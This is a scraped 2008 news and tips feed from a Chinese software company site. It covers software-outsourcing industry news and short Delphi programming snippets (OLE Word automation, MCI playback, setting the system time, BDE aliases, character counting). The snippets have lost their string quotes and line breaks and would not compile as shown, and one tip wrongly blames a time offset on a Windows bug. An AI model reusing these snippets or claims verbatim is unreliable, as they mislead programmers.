<category>行业动态 </category>
<author>软件设计 </author>
<source>软件开发公司 </source>
<pubDate>2008-02-29 00:00 </pubDate>
</item>
<item>
<title>发改委与微软启动软件外包人才培训项目 </title>
<link>http://www.youjoys.cn/news/itnews/20110724/25.html </link>
<description>日前，国家发改委与微软中国联合举办的软件外包人才培训项目在京启动。该培训项目将在全国范围内11个国家软件产业基地和6个国家软件出口基地全面展开，重点面向国内软件企业中的软件技术人员和项目管理人员，分为.Net平台软件开发技能培训和软件项目管理培训 </description>
<text>&amp;nbsp;&amp;nbsp;&amp;nbsp; 日前，国家发改委与微软中国联合举办的软件外包人才培训项目在京启动。该培训项目将在全国范围内11个国家软件产业基地和6个国家软件出口基地全面展开，重点面向国内软件企业中的软件技术人员和项目管理人员，分为.Net平台软件开发技能培训和软件项目管理培训两个重要部分。&amp;nbsp;　　该软件人才培训项目是微软积极履行2006年4月与国家发展和改革委签署的关于加强软件产业合作谅解备忘录(二期)的重要体现。根据2006年4月国家发展和改革委与微软公司共同签署的关于加强软件产业合作谅解备忘录(二期)，微软公司承诺，未来五年将继续协助中国培养一大批软件人才，特别是世界一流的高端软件人才，并将向中国提供累计1亿美元的软件开发和服务订单。&amp;nbsp;　　项目全面启动后，国家发展和改革委-微软软件人才培训课程将在北京、上海、大连、成都、西安、济南、杭州、广州等11个国家软件产业基地和6个国家软件出口基地全面展开，为期5天，随时接受软件开发人员和项目管理人员的报名。&amp;nbsp;　　该培训项目是微软公司为国内软件企业中的软件技术人员精心设计、量身打造的培训计划，包括.Net平台软件开发技能培训和软件项目管理培训两个重要部分，前者主要面向国内软件企业中的软件开发人员，后者主要面向国内软件企业中具有一定经验的项目经理。学员在完成培训课程后具备使用微软开发工具、技术、平台和Visual&amp;nbsp;Studio&amp;nbsp;2005体系结构设计以及开发前沿的商业解决方案的能力。在培训中展示的微软最新的Visual&amp;nbsp;Studio&amp;nbsp;2005技术以及贴近实际案例的动手实验，对学员在今后软件相关项目具体实施过程中也将起到积极指导作用。&amp;nbsp;　　此前，该培训项目已在北京、大连和杭州国家软件产业基地等分别举行试点，取得了可喜的成果。&amp;nbsp;　　国家发展和改革委高技术产业司许勤司长表示，软件外包培训的正式启动标志着国家发展和改革委与微软公司关于加强软件产业合作的第二期谅解备忘录取得了又一积极进展。中国政府高度重视软件产业发展，大力实施人才战略，并积极推动与跨国公司建立与发展在互利双赢基础上的战略合作伙伴关系。目前，跨国公司培训项目已经成为中国政府实施人才战略的重要组成部分，微软合作项目是成功典范之一。今后我们将继续支持、鼓励跨国公司将先进技术和管理经验与本地企业共同分享，促进本地人才水平的进一步提高。&amp;nbsp;　　同时，许勤司长还指出，在国家发展和改革委与微软公司签署的第二期合作谅解备忘录中，双方就推动中国软件外包业发展达成共识。作为全球软件市场最具潜力和增长最快的国家之一，中国软件外包业在政策、市场、产业体系、基础设施、人力资源方面表现出的综合优势，正促使中国成为国际软件外包的重要目的地之一。我们希望，在合作谅解备忘录框架下，以软件外包培训项目为支撑，微软公司进一步推动中国软件外包业发展，与中国信息产业建立更紧密而深入的合作，在互惠互利原则基础上实现共同发展，使这项合作计划不仅切实推动中国软件产业发展，同时也使合作谅解备忘录精神长期植根于中美两国信息产业的合作中。&amp;nbsp;　　微软公司全球资深副总裁、微软(中国)有限公司董事长张亚勤表示，“作为扎根中国的IT企业，微软一直致力于加强与政府、合作伙伴和客户的密切联系，通过资金、技术、人才和市场多方面支持国家的信息化建设。这次的发改委-微软软件人才培训课程由微软公司为国内软件企业中的软件技术人员精心设计、量身打造。微软真诚希望通过与政府和各合作伙伴的共同努力，推动本地软件生态系统和信息产业的发展，促进创新及和谐社会建设，实现共赢。”　 </text>
<image> </image>
<keywords>发改委,微软,启动,软件外包,人才, </keywords>
<category>行业动态 </category>
<author>软件设计 </author>
<source>软件开发公司 </source>
<pubDate>2008-02-29 00:00 </pubDate>
</item>
<item>
<title>07年4季度中国软件离岸外包市场达42.8亿 </title>
<link>http://www.youjoys.cn/news/itnews/20110724/26.html </link>
<description>易观国际近期发布《2007年第4季度中国软件离岸外包市场季度监测》，考察了中国软件离岸外包市 </description>
<text>       　　易观国际近期发布《2007年第4季度中国软件离岸外包市场季度监测》，考察了中国软件离岸外包市场。数据显示，中国软件离岸外包市场2007年第4季度整体规模达到42.81亿元人民币，同比增长44.15%，环比增长12.96%。&amp;nbsp;　　在厂商排名中，东软名列第一；海辉软件列第二位，较上季度上升一位；第三位为浙大网新。前十名软件离岸外包厂商的市场份额之和为35.7%，比上一季度下降2.8%。从全年看前十大厂商发展稳定，市场集中度仍然较高。&amp;nbsp;　　从发包市场看，没有大的波动：日本仍然是最大的发包地，市场份额高达53.1%，比上一季度的略增1.1%，这得益于其庞大的制造业带来的嵌入式软件外包市场。欧美发包市场份额为28.4%，较上一季度基本略有下降，美国次贷危机在8月引发大型金融机构巨亏后，四季度美国金融业软件外包市场开始显现疲软。香港方面的发包份额为9.4%，保持了其比重缓慢下降的趋势。&amp;nbsp;　　从接包市场看，国内接包市场前三名是华北、东北、华东，分别占据33.4%、22.8%、17.0%的市场份额。排名第四名和第五名的是华南和西南。其中西南地区增速最高，尤其是四川省，2007年已成为我国软件出口的一个增长极。&amp;nbsp;　　从厂商活动看，本季度业内厂商上市活动比较活跃，东软集团整体上市方案获批；文思创新在美国纽约交易所上市；上海海隆软件在深圳交易所中小板上市。易观国际认为该现象表明软件外包行业已经趋于成熟，其较高的成长性获得了市场的认可。由于市场、规模、技术的日益成熟，业内厂商与外资企业的合作也更为频繁和深入。　 </text>
<image> </image>
<keywords>07年,季度,中国,软件,离岸,外包, </keywords>
<category>行业动态 </category>
<author>软件设计 </author>
<source>软件开发公司 </source>
<pubDate>2008-02-29 00:00 </pubDate>
</item>
<item>
<title>delphi死循环的控制权转让 </title>
<link>http://www.youjoys.cn/knowledge/20110728/397.html </link>
<description> </description>
<text>有时我们会执行一些如While、For等循环语句，这些语句如果计算时间非常长，那么就会占用了CPU的处理权，无法再运行其他程序，照成死循环。
所以必须让CPU避开循环，转让控制权，让操作可以同时处理多个事件，只需要在循环前执行一下以下语句即可：
Application.ProcessMessages; </text>
<image> </image>
<keywords> </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2008-02-02 00:00 </pubDate>
</item>
<item>
<title>回车代替Tab移动输入焦点 </title>
<link>http://www.youjoys.cn/knowledge/20110728/398.html </link>
<description>很多时候，我们都用Tab键来移动输入焦点，但是有些情况下，比如输入用户名后还需要输入密码，由于习惯性，你有可能在输入用户名后就按了一下回车，希望到密码框 </description>
<text>很多时候，我们都用Tab键来移动输入焦点，但是有些情况下，比如输入用户名后还需要输入密码，由于习惯性，你有可能在输入用户名后就按了一下回车，希望到密码框里继续输入，可是却按了&amp;ldquo;确定&amp;rdquo;键，报告密码错误，所以使用以下代码来让&amp;ldquo;回车&amp;rdquo;键代替&amp;ldquo;TAB&amp;rdquo;键下移一个控件：
在窗体上放两个控件，Edit1和Edit2，再加入下列代码拦截击键：
Procedure TForm1.Edit1KeyPress(Sender:Tobject;Var Key:Char);Beginif key=#13 then{ 判断是按执行键}if not (ActiveControl is TDbgrid) ThenBegin { 不是在TDbgrid控件内}key:=#0;perform(WM_NEXTDLGCTL,0,0);{移动到下一个控件}end elseif (ActiveControl is TDbgrid) Then{是在 TDbgrid 控件内}beginWith TDbgrid(ActiveControl) Doif Selectedindex&amp;lt;(FieldCount-1) thenSelectedindex:=Selectedindex+1{ 移动到下一字段}else Selectedindex:=0;end;End;
由于有时我们会使用到TDbgrid控件，那么就需要让按回车键下移到下一个字段上，而不是到下一个控件上，所以多了些判断码。 </text>
<image> </image>
<keywords> </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2008-02-02 00:00 </pubDate>
</item>
<item>
<title>DELPHI的命名规则须注意 </title>
<link>http://www.youjoys.cn/knowledge/20110728/399.html </link>
<description>初学DELPHI的人，对自己随手编的程序，函数，过程所起的名字不会太在意。但可要注意，你随意起的名字，有时会给你带来意想不到的麻烦。举例如下：新建一个FORM </description>
<text>初学DELPHI的人，对自己随手编的程序，函数，过程所起的名字不会太在意。但可要注意，你随意起的名字，有时会给你带来意想不到的麻烦。举例如下：新建一个FORM，加上一个EDIT1，清除其内容，再加上一个LABEL1和BUTTON1。
BUTTON1按钮代码为
　　procedure TForm1.Button1Click(Sender: TObject);　　 begin　　 label1.caption:=inttostr(sqr(strtoint(edit1.text)));／／注意函数SQR　　 end;
执行，在EDIT中输入一个数字，LABEL中就显示其平方值，一切正常。好，保存为SQR.PAS和SS．DPR。再执行，就会有错误信息跳出
&amp;ldquo;[Error] sqr.pas(30): . expected but ( found&amp;rdquo;
&amp;ldquo;[Fatal Error] ss.dpr(5): Could not compile used unit sqr.pas&amp;rdquo;
原来程序在执行SQR的时候，没有调用函数SQR，而是找到了SQR.PAS。把程序另存为NOTSQR.PAS,重新执行,则恢复正常。所以程序，函数，过程不要重名，尤其是在程序中用到的。同时要注意自定义函数优先级大于保留函数，在上例中若自定义一个叫SQR的函数。
　　function sqr(input:integer):integer;　　 begin　　 sqr:=input＋1;　　 end;
执行，若在EDIT中输入2，按BUTTON，在LABEL中则会显示3，而不是4。 </text>
<image> </image>
<keywords> </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2008-02-02 00:00 </pubDate>
</item>
<item>
<title>delphi实现在Word插入字符 </title>
<link>http://www.youjoys.cn/knowledge/20110728/400.html </link>
<description>现在的文档很多都是用Word软件来编辑的，但如果你想在程序中把某些字符插入到Word文档中，那么下面的程序帮你忙： procedure TForm1.Button1Click(Sender: Tobj </description>
<text>现在的文档很多都是用Word软件来编辑的，但如果你想在程序中把某些字符插入到Word文档中，那么下面的程序帮你忙：
procedure TForm1.Button1Click(Sender: Tobject);var MSWord: Variant;beginMSWord := CreateOLEObject(Word.Application);//连接WordMSWord.Documents.Open(FileName:=d:\test.doc, ReadOnly:=True);//打开外部Word文档MSWord.Visible := 1;//是否显示文件编辑MSWord.ActiveDocument.Range(Start:=0, End:=0);//开始改变的启止位置MSWord.ActiveDocument.Range.InsertAfter(Text:=Title);//在Word中增加字符TitleMSWord.ActiveDocument.Range.InsertParagraphAfter;MSWord.ActiveDocument.Range.Font.Name := Arial;//字体名称MSWord.ActiveDocument.Range.Font.Size := 24;//字体大小end; </text>
<image> </image>
<keywords> </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2008-02-02 00:00 </pubDate>
</item>
<item>
<title>delphi实现播放背景音乐 </title>
<link>http://www.youjoys.cn/knowledge/20110728/401.html </link>
<description>如果要做一些比较艺术化的程序时，你会想到插入背景音乐，这时你是否使用了TMediaPlayer控件来播放音乐呢？其实我们大可放弃该方法，直接使用WINDOWS为 我们提 </description>
<text>如果要做一些比较艺术化的程序时，你会想到插入背景音乐，这时你是否使用了TMediaPlayer控件来播放音乐呢？其实我们大可放弃该方法，直接使用WINDOWS为 我们提供的API函数来播放音乐，方法如下：首先需要在uses部分加入mmsystem，接着写入下列语句，其中e:\1.mid为播放的文件，NN为自定义名称标志
procedure TForm1.Button1Click(Sender: TObject);begin//播放音乐MCISendString(OPEN e:\1.MID TYPE SEQUENCER ALIAS NN, , 0, 0);MCISendString(PLAY NN FROM 0, , 0, 0);MCISendString(CLOSE ANIMATION, , 0, 0);end; procedure TForm1.Button2Click(Sender: TObject);begin//停止播放MCISendString(OPEN e:\1.MID TYPE SEQUENCER ALIAS NN, , 0, 0);MCISendString(STOP NN, , 0, 0);MCISendString(CLOSE ANIMATION, , 0, 0);end; </text>
<image> </image>
<keywords> </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2008-02-02 00:00 </pubDate>
</item>
<item>
<title>delphi编程实现改变操作系统日期 </title>
<link>http://www.youjoys.cn/knowledge/20110728/402.html </link>
<description>日期函数Now()、Date()、Time()大家都用得多了，这些函数是读取系统日期时间的。可是遇到需要改变操作系统的时间时，他们就一点办法也没有，而Delphi4又没有提 </description>
<text>日期函数Now()、Date()、Time()大家都用得多了，这些函数是读取系统日期时间的。可是遇到需要改变操作系统的时间时，他们就一点办法也没有，而Delphi4又没有提供相关的函数，所以只好求助于API函数SetSystemTime(SystemTime);无奈他要求的变量SystemTime太古怪了，属于TSystemTime，需要经过转换才可以得到，所以举例如下：
1、定义变量
var SystemTime: TSystemTime;
2、转换日期
DateTimeToSystemTime(StrToDatetime(1999-09-01 11:12:12 ),SystemTime);
3、改变系统日期
SetSystemTime(SystemTime);
到此日期已经改变，可是由于API函数SetSystemTime()本身存在的BUG，在你改变系统日期以后，等待一会，你会看到系统的日期是对的，可是时间却错了，并不是我们设定的11:12:12，这样的问题看来需要微软才能解决了。 </text>
<image> </image>
<keywords> </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2008-02-02 00:00 </pubDate>
</item>
<item>
<title>Delphi实现TMemo的真正插入字符 </title>
<link>http://www.youjoys.cn/knowledge/20110728/403.html </link>
<description> </description>
<text>我们发现在TMemo、TRichEdit等编辑控件中，有Add、Insert等插入字符的命令，可是这些命令却没能真正做到插入字符作用，他们只是把你的字符当做一行在指定位置插入。
为了真正实现插入功能，还需要执行多一些指令才能真正做到，下面是一个例子：
ROEX2.Lines.Insert(2,abcdefg);
ROEX2.SelLength:=-2;
ROEX2.SelText :=; </text>
<image> </image>
<keywords> </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2008-02-02 00:00 </pubDate>
</item>
<item>
<title>delphi实现动态创建别名 </title>
<link>http://www.youjoys.cn/knowledge/20110728/404.html </link>
<description>对于BDE会话期对象来说，BDE别名特别重要，许多方法都需要传递一个数据库的别名作为参数。TSession提供了管理BDE别名的功能。 但是作者往往等到要发布程序时才 </description>
<text>对于BDE会话期对象来说，BDE别名特别重要，许多方法都需要传递一个数据库的别名作为参数。TSession提供了管理BDE别名的功能。
但是作者往往等到要发布程序时才发现，你的程序由于找不到别名而无法运行，必须在一台已经装了BDE管理程序的机上才能用，你一定非常失望。不要紧，只要在程序中加入以下语句，你的程序就又可以执行。
AddAlias用于为Paradox、dBase或文本创建别名，不需要连接参数，只需指定一个路径和默认的驱动程序。
AddStandardAlias函数则需要传递三个参数，Name参数用于指定名称，Driver参数用于指定SQL Links驱动程序，List参数用于指定连接参数。
procedure TForm1.FormCreate(Sender: TObject);beginwith Session dobeginConfigMode := cmSession;tryAddStandardAlias(WorkMen, ExtractFilePath(ParamStr(0)), PARADOX);finallyConfigMode := cmAll;end;end;end; 
上面的是单机版的创建别名方法，还有创建SQL服务器别名的方法
procedure TForm1.FormCreate(Sender: TObject);var MyList: TStringList;beginMyList := TStringList.Create;trywith MyList dobeginAdd(SERVER NAME=IB_SERVER:/PATH/DATABASE.GDB);Add(USER NAME=MYNAME);end;Session1.AddAlias(WorkMen, INTRBASE, MyList);finallyMyList.Free;end;end;
　　 要说明的是，调用AddStandardAlias或AddAlias函数创建的别名只存在于内存中，程序关闭后就没有了，要把别名永远的保存到BDE配置文件中，请调用SaveConfigFile函数来保存到设置文件中。 </text>
<image> </image>
<keywords> </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2008-02-02 00:00 </pubDate>
</item>
<item>
<title>delphi编程统计中英文字的个数 </title>
<link>http://www.youjoys.cn/knowledge/20110728/405.html </link>
<description>中国使用的是汉字，而又夹杂这些英文，这样我们在数字数时就麻烦了，电脑是按字节来计算，一个汉字算两个字，而中国人的习惯是一个汉字就是一个字，所以通过电 </description>
<text>中国使用的是汉字，而又夹杂这些英文，这样我们在数字数时就麻烦了，电脑是按字节来计算，一个汉字算两个字，而中国人的习惯是一个汉字就是一个字，所以通过电脑来计算必须解决下列问题：
利用文本控件TMemo来存放文章，分别对中、英文的字符数进行统计，我们可以通过把字符转换为ASCII码数值来进行判断，Ord()函数就可以把字符转换为对应的数值，值33-126为键盘可使用字符，值127以上的为未知字符，即为汉字。
procedure TForm1.Button1Click(Sender: TObject);var s:string;i,e,c:integer;begins:=memo1.text;e:=0;c:=0;for i:=1 to length(s) dobeginif (ord(s[i])&amp;gt;=33)and(ord(s[i])&amp;lt;=126) thenbegininc(e);label1.caption:=英文字数：+inttostr(e);endelseif (ord(s[i])&amp;gt;=127) thenbegininc(c);label2.caption:=中文字数：+inttostr(c div 2);end;end;end; </text>
<image> </image>
<keywords> </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2008-02-02 00:00 </pubDate>
</item>
<item>
<title>delphi中改变图片效果 </title>
<link>http://www.youjoys.cn/knowledge/20110728/406.html </link>
<description> </description>
<text>想不想另图片有另一番效果，使用下列语句实现吧，增加两个TImage图片框，分别为Image1、Image2，用Image1引入一张图片，按下按钮就可以在Image2上出现惊人的效果：
procedure TForm1.Button1Click(Sender: TObject);
begin
Image2.Canvas.Brush.Style := bsCross;
Image2.Canvas.CopyMode := cmMergeCopy;
Image2.Canvas.Draw(0,0, Image1.Picture.Graphic);
end; </text>
<image> </image>
<keywords> </keywords>
<category>编程知识 </category>
<author>深圳软件开发 </author>
<source>软件开发公司 </source>
<pubDate>2008-02-02 00:00 </pubDate>
</item>
<item>
<title>企业信息化进入2008关键年外包成大趋势 </title>
<link>http://www.youjoys.cn/news/itnews/20110724/17.html </link>
<description>国内企业信息化需求日渐高涨，但大部分企业在信息化建设开发维护上并不具相应的实力。外包可为企业提供持续稳定的支撑，使其迅速提高信息化水平和市场竞争力，为其减少资金、人力及管理上的投入…… 国内企业信息化建设已经进入一个新的发展阶段。在过去一年 </description>
<text>&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 国内企业信息化需求日渐高涨，但大部分企业在信息化建设开发维护上并不具相应的实力。外包可为企业提供持续稳定的支撑，使其迅速提高信息化水平和市场竞争力，为其减少资金、人力及管理上的投入……　　　　国内企业信息化建设已经进入一个新的发展阶段。在过去一年中，不管是大企业还是中小企业，都在企业信息化建设方面表现出了强劲的需求。而从这种需求整体趋势来看，外包已成为中国企业信息化的一个有效途径。　　　虽然目前有资料表明，我国还有90%的中小企业信息化等待开发，但十七大把信息化提升到“五化”之列，将进一步促进企业信息化的高速发展。而继“十七大”后的第一年——2008年将成为企业信息化建设的关键年。　　　　　企业信息化进入高速增长期　　近几年来我国企业信息化得到了快速发展。我国从国家层面上推动企业信息化建设，中小企业信息化得到了长足的进步，但不可否认中小企业信息化建设整体水平还处于起步和发展阶段，企业特别是众多中小企业用户对信息技术系统的依赖仍然相对较弱。　　　国家资深家电业顾问、浙江大学科技咨询中心专家顾问沈闻涧在接受本报记者采访时表示，目前我国中小企业自身的发展尚处于成长阶段，自身的资金实力、资源配套、人力资源都相对有限。同时，信息化的发展属于舶来品，进入中国需要一个改良和接受的过程，不可能一蹴而就。初步判断，在2008年及此后几年，我国将会迎来信息化发展的高速增长期。　　外包成信息化建设大趋势　　　在企业信息化建设过程中，自行建设还面临诸多困难。首先企业要投入大量资金，购置相关配套工程设备；其次升级需要不断地追加大量投资；再次要耗费人力资源，成立信息中心需要建立网络维护部门，并配备相关人员等。所以对于企业，特别是中小企业来说，基础网络的外包是比较明智的选择。　　　沈闻涧表示，外包能让企业利用社会资源补充自身的短处。具体好处就是通过外包，可为企业提供持续稳定的支撑，使其迅速提高信息化水平和市场竞争力，为其减少资金、人力及管理上的投入。　　　如今的信息化商业环境，信息和信息技术成为生产力的强劲加速器，对于中小企业更需要借助信息技术提高企业的管理水平和对市场的快速应变能力，部署信息设施和系统，实施企业信息化改造已经成为提高竞争力的必由之路。　　　在企业的信息化建设过程中，外包是必然趋势。外包真正意义是对于企业非核心事务的进一步压缩，利用专业化分工，以更低的价格得到更为专业和灵活的网络应用服务和网络系统的维护服务。现在，网络的发展非常快，而网络服务又非常专业，企业把网络建设外包后可以专注于自己的业务。对于中小企业，特别是传统产业的中小企业，由于企业规模限制，信息化基础薄弱，信息技术人才相对短缺，采用外包的方式进行企业信息化建设可以说是明智的选择。　　　2008年是关键年　　信息化是工业化转型的一种推动力量，与我国现行的工业化改造存在着相辅相承的关系。沈闻涧表示，在信息化的推动下，工业化改造周期将大大缩短，相关企业的竞争力和发展水平也将得到显著提升。对于企业而言，在信息化运用的手段和方法上将会出现多元化的势头。同时，对于信息化的运作也将出现系统化、集约化、可持续性投入，最终将推动我国众多中小企业做强做精。　　　沈闻涧同时还表示，进入2008年，在社会专业化分工越来越细分、整合社会各方资源为一种流行趋势的背景下，信息化外包会获得提升，我国企业信息化将发生变化。　　　首先，企业通过信息化手段带来的直接或间接经济效益会出现明显的增长。其次，企业将会加大对信息化的投入和建设力度拉动我国电脑、宽带等市场的增长，预期增幅将超过15%。最后，面对越来越多的企业投入和配套服务水平的提升，我国信息化的发展也将出现升级，市场层次会提到提升，一些附加值少、技术含量低的产品和服务将遭淘汰，产业规模也将继续扩大。&amp;nbsp;　 </text>
<image> </image>
<keywords>企业,信息化,进入,2008,关键,年外, </keywords>
<category>行业动态 </category>
<author>软件设计 </author>
<source>软件开发公司 </source>
<pubDate>2008-01-28 00:00 </pubDate>
</item>
<item>
<title>向协同深层演变国内OA中低市场出现分化 </title>
<link>http://www.youjoys.cn/news/itnews/20110724/18.html </link>
<description>2007年对国内OA行业来说，是风起云涌、喜忧交加的一年——市场繁荣、产品提升、厂商发展、行业整合加快；繁荣发展的背后，市场并不平静，也掺杂着无序、不规范的激烈竞争，炒概念、低价战、服务欠当、合同纠纷、技术不专业、厂商不和等问题日渐增多，这些都 </description>
<text>　&amp;nbsp; 2007年对国内OA行业来说，是风起云涌、喜忧交加的一年——市场繁荣、产品提升、厂商发展、行业整合加快；繁荣发展的背后，市场并不平静，也掺杂着无序、不规范的激烈竞争，炒概念、低价战、服务欠当、合同纠纷、技术不专业、厂商不和等问题日渐增多，这些都亟待重点关注、妥善解决。&amp;nbsp;　　产品篇：从OA到协同的深层演变　　软件市场从来就是“双核”驱动，一个是市场，一个是产品。2007年的产品战尤为突出，各具特色的新产品发布、多版本产品纷纷亮相。用友致远发布了新一代协同产品—A8协同管理软件，点击科技发布了其新一代企业综合通讯平台GK-Express的最新版本3.2版，金和则推出了协同管理平台C6，南派代表合强软件则推出A8协同办公系统，通达OA则在版本的易用化和人性化上下功夫，发布了Office&amp;nbsp;Anywhere&amp;nbsp;2008版。　　2007年从各厂商的产品更新来看，OA软件业进入增长加速期，呈现多版本化、多功能化的明显趋势。多版本变化的趋势在2006年已经崭露头角，2007年则是爆发期。金和在协同工作标准版IOA/S系列、协同管理平台C6系列和电子政务平台GOA系列的基础上，发布了C6英文版本。用友、点击、通达等主流厂商在今年，其“多版本化”的痕迹也十分明显。　　另外，一些OA商与平台商、运营服务商也推出了ASP、SaaS版本协同软件管理平台。轻量级、集团级版本、各行业版适应了不同规模的客户个性需求，更加具有针对性，协同软件逐步实现细分基础上的规模化。　　多版本化、多功能化的OA升化了产品技术，增强市场竞争力，大大提升了产品的人气和品牌度。2007年OA和CRM等其它软件进一步融合。不少OA商把自己的产品里面添加上CRM模块。据悉，30%以上的OA软件集成了客户关系管理模块，甚至HR、ERP。因此这使OA愈来愈象一个综合协同平台。　　2007年的OA行业，不管是概念称呼还是技术内容、市场营销、售后服务，其诸多方面已发生了明显的变化，已从单纯的“传统办公”到“协同办公”软件，再到“协同管理”软件，乃至到干脆称为集多种软件功能于一身的“协同软件”。　　“十一五”我国企业信息化的总体目标朝着协同商务、系统集成和企业创新的方向发展。虽然大型企业基本都已经部署过OA系统，但是OA系统并不等于协同软件，这两年将是大规模的协同软件替代OA系统，或者OA系统升级为协同的高峰。总之，2007年我们可以看到OA向协同软件深层地演变。　　市场篇：繁荣与挑战并存　　目前国内协同OA软件厂商据称有400多家，但相对成熟稳定、有一定全国品牌影响力和市场规模效应的国内协同OA商数量进一步缩减，不上25家。2007年国内OA市场有一个明显流向和发展趋势，就是具有核心技术的厂商成为市场主导，市场份额逐步向一线厂商集中，强者恒强弱者愈弱的雏形开始显现。这与财务软件的市场发展轨迹相类似。用友、金和、点击、通达、协达等已奠定非常强的产品和品牌优势，具备成为协同软件领导厂商的条件。合强、泛微、领航、思创、思创等厂商，也建立了自己的区域市场优势。　　2007年，从OA行业特征分析，制造、流通、机关事业形成了三大细分市场，主流领导品牌有用友致远、金和、点击、通达、浪潮等，在中小软件市场，用友、通达、协达等占据了领先位置，泛微、浪潮紧随其后；在政府市场，用友、金和、浪潮、慧点则处于市场前列。2007年协同OA迎来全新的发展，中小企业、政府成为OA市场需求的主要推动力量。　　随着多版本化、SOA架构的升级，协同OA市场出现了应用高端化、市场规模化的趋势。而在高端市场上，洋品牌优势明显，IBM、微软、ORACLE、SAP在内的国际巨头都纷纷推出自己的协同OA产品，它们继续在高端客户、大型企业集团里拼抢市场，并开始放下架子，对国内中低端OA市场进行渗透，抢夺中小客户资源，对国内OA厂商构成越来越大的威胁。　　2007年，OA市场迎来营销大战一个高潮期。上百家新老OA商攻城掠地争相抢食，价格战、广告战、促销战此起彼伏，OA市场竞争激烈。以卖硬件的方式卖软件，免费试用、按揭购买、买一赠一等名目繁多的促销活动，真是五花八门，令人眼花缭乱。与此同时，各家厂商也不约而同地把低价作为为拓展、普及协同OA的利器，纷纷针对中小企业的协同OA市场需求，各自推出了标准版、普及版、基础版产品，期待能够通过自身原有的有优势，利用有竞争力的价格抢占中小企业市场。　　由于国内OA厂商整体规模不大，一年销售额能上两千万元者不多，远弱于硬件商，所以2007年国内OA商们投入媒体广告较少，主要以电话营销、会议营销、公关营销、案例营销以及邮件群发等较为经济实效的手段居多，为此提高产品知名度扩大影响力，并通过多级渠道力量来拉动产品销售，让渠道商完成最后的售货。2007年较大的OA厂商们几乎每家的渠道覆盖度都非常广，触角已经基本上覆盖到了全国的三、四级市场，从而抢占更多的新生市场。在渠道方面，分销渠道已经超越直销，成为协同OA软件的主要收入来源。　　反思篇：寻找症状迎接挑战　　2007年国内OA厂商仍旧是“几家欢乐几家愁”，大牌厂商加紧跑马圈地，而一批实力弱小的厂商则日渐衰微，一些OA厂商或转型，或关门，或挣扎着，令业界深思。这里总结了2007年OA市场几大问题：　　①核心技术缺失：主要表现在开发手段较为单一，平台依赖性严重，个性化功能不足，创新设计少。国内多数OA商采用的开发模式都是依赖洋巨头IBM、微软的基础平台，“群件平台+适当定制”的模式，造成可供开发商发挥的空间太小，过多模仿，产品难以创新，竞争力弱，很容易沦为洋品牌的附庸或加工商。　　②行业标准不一：国内OA市场尚未建立统一的OA技术标准(文档、流程、管理、监督)和规范，缺乏统一的OA技术指导，各个OA开发商各行其是，使得各个厂商的OA系统五花八门，低水平的重复设计、重复开发，部分OA还处于停滞不前的状态。　　③价格战日趋严重：国内OA商诸候割据良芜难分，2007年，市场竞争仍然激烈，价格战愈演愈烈，OA价格从5000元到100多万元的项目都有，甚至卖出白菜价，行业利润越来越低，使企业缺少资本来加强研发、提高行业整体竞争力。　　④品牌影响力弱小：国内OA商虽号称有数百上千家，但其中不少是些OEM商，或说代工商、加工商，它们没有自主品牌，也没有自己的销售渠道，主要替国内洋巨头打工赚起加工费。大部分国内OA厂商由于长期以来没向深层次技术开发发展，技术上处处受制于人，没有话语权，处于不平等、被动地位。既难以满足市场需要，也不利于民族产业长远发展，难于在国内外市场与强手竞争。　　⑤专业服务水准不高：与建立了严密完善的服务体系的国外软件商相比，国内OA商的服务理念、服务体系整体弱些，技术水平不够、服务不到位及时等问题仍相对突出。一些厂商出现只卖产品不卖服务，收了第一批产品款不准备收回余款的现象，甚至出现一锤子买卖现象。售后纠纷、合同争议、官司诉讼等仍有所闻。这些将不利于国内OA今后的发展。　　目前，国内OA行业尚处在一个大浪淘沙的时代，迫切需要激浊扬清，需要有实力的厂家以有效的市场战略、优异的产品性能和良好的服务来促进行业的洗牌，规范市场竞争秩序。而今随着一批有相当专业实力的品牌厂商的崛起，市场的集中度开始不断地向这些专业品牌厂商倾斜，一场以专业、服务为杠杆的OA洗牌运动正加快进行，以上市、控股、联合、兼并为主要形式的资本运作已开始打响，未来国内OA将向着更美好的方向发展。&amp;nbsp;　 </text>
<image> </image>
<keywords>协同,深层,演变,国内,中低,市场, </keywords>
<category>行业动态 </category>
<author>软件设计 </author>
<source>软件开发公司 </source>
<pubDate>2008-01-28 00:00 </pubDate>
</item>
<item>
<title>2008年全球移动商务市场将保持高速增长 </title>
<link>http://www.youjoys.cn/news/itnews/20110724/19.html </link>
<description>据Data-monitor调研数据显示，2008年全球移动商务用户数量将达到16.7亿，年收入将达到5540亿美元。同时，有调查预测：到2009年中国移动商务应用市场规模将达到300.5亿元人民币，年复合增长率将达到30.9%。 作为产业链的主导者，移动运营商已经看到了移动商务 </description>
